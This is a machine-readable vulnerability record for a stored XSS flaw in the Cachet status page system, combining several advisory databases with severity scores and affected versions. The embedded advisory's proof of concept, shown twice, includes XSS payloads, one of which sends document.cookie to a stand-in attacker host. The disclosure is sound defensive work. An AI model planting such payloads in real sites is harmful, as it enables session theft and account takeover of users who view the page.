{"id":"CVE-2026-113712","aliases":["EUVD-2026-105261","GHSA-x397-5hrv-j9m9"],"status":"published","title":"Cachet has Stored XSS in Incident Component","description":"Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.","severity":{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0046,"percentile":0.40309,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-10-20T19:14:02Z","modified":"2026-10-28T02:30:32Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"cachethq/cachet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.4.1"}]}]},{"source":"osv","ecosystem":"Packagist","package":"cachethq/cachet","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.4.1"}]}],"versions":["v0.1.0-alpha","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v2.0.0","v2.0.0-RC1","v2.0.0-RC2","v2.0.0-RC3","v2.0.0-RC4","v2.0.0-RC5","v2.0.0-beta1","v2.0.0-beta2","v2.0.1","v2.0.2","v2.0.3","v2.0.4","v2.1.0","v2.1.0-RC1","v2.1.0-RC2","v2.1.1","v2.1.2","v2.2.0","v2.2.0-RC1","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.3.0","v2.3.0-RC1","v2.3.0-RC2","v2.3.0-RC3","v2.3.0-RC4","v2.3.0-RC5","v2.3.0-RC6","v2.3.1","v2.3.10","v2.3.11","v2.3.12","v2.3.13","v2.3.14","v2.3.15","v2.3.16","v2.3.17","v2.3.18","v2.3.2","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9","v2.4.0","v2.4.1"]}],"products":[{"vendor":"cachethq","product":"cachet"}],"references":[{"url":"https://github.com/cachethq/cachet/security/advisories/GHSA-x397-5hrv-j9m9","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/cachethq/core/commit/23adbb88ffa819f92be4a905ff1d812670d980a2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/cachethq/core/commit/57b44a8bac0b250b0d5751e93e0349070d14606e","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113712.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113712","tags":["advisory"]},{"url":"https://github.com/cachethq/cachet","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-113712","title":"Cachet has Stored XSS in Incident Component","description":"Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.","status":"published","published":"2026-10-20T19:14:02.289Z","modified":"2026-10-23T02:00:37.868Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:44:29.519518Z"}],"euvd":[{"id":"EUVD-2026-105261","description":"Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.","status":"published","published":"2026-10-20T19:14:02Z","modified":"2026-10-23T02:00:37Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:59:33.524592Z"}],"ghsa":[{"id":"GHSA-x397-5hrv-j9m9","title":"Cachet has Stored XSS in Incident Component","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While \u003cscript\u003e tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```\u003cimg src=x onerror=\"alert(1)\"\u003e```\n\nStep 2 — Cookie/token exfiltration:\n```\u003cimg src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\"\u003e```\n\nStep 3 — Forced redirect to sensitive page:\n```\u003cimg src=x onerror=\"window.location='/dashboard/manage-customization'\"\u003e```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n\u003cimg width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" /\u003e\n\n### Payload 2\n\u003cimg width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" /\u003e\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","status":"published","published":"2026-10-20T21:09:40Z","modified":"2026-10-20T21:09:40Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-113712","description":"Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.","status":"published","published":"2026-10-20T19:17:33.73Z","modified":"2026-10-23T02:16:56.837Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113712","title":"Cachet has Stored XSS in Incident Component","description":"Cachet is an open-source status page system. Versions 2.4.1 and earlier have a stored Cross-Site Scripting (XSS) vulnerability in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. Commits 57b44a8bac0b250b0d5751e93e0349070d14606e and 23adbb88ffa819f92be4a905ff1d812670d980a2 in `cachethq/core` patch the issue.","status":"published","published":"2026-10-20T19:14:02.289Z","modified":"2026-10-28T02:30:32.021235953Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"GHSA-x397-5hrv-j9m9","title":"Cachet has Stored XSS in Incident Component","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML  event handler attributes. While \u003cscript\u003e tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n```\u003cimg src=x onerror=\"alert(1)\"\u003e```\n\nStep 2 — Cookie/token exfiltration:\n```\u003cimg src=x onerror=\"fetch('http://attacker.com/leak?c='+document.cookie)\"\u003e```\n\nStep 3 — Forced redirect to sensitive page:\n```\u003cimg src=x onerror=\"window.location='/dashboard/manage-customization'\"\u003e```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n\u003cimg width=\"1926\" height=\"1062\" alt=\"Screenshot_2026-05-05_21_19_21\" src=\"https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b\" /\u003e\n\n### Payload 2\n\u003cimg width=\"1910\" height=\"525\" alt=\"Screenshot_2026-05-07_12_22_07\" src=\"https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589\" /\u003e\n\n\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.","status":"published","published":"2026-10-20T21:09:40Z","modified":"2026-10-20T21:15:04.024300311Z","cvss":[{"version":"4.0","score":4.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:59.484835Z"}]}}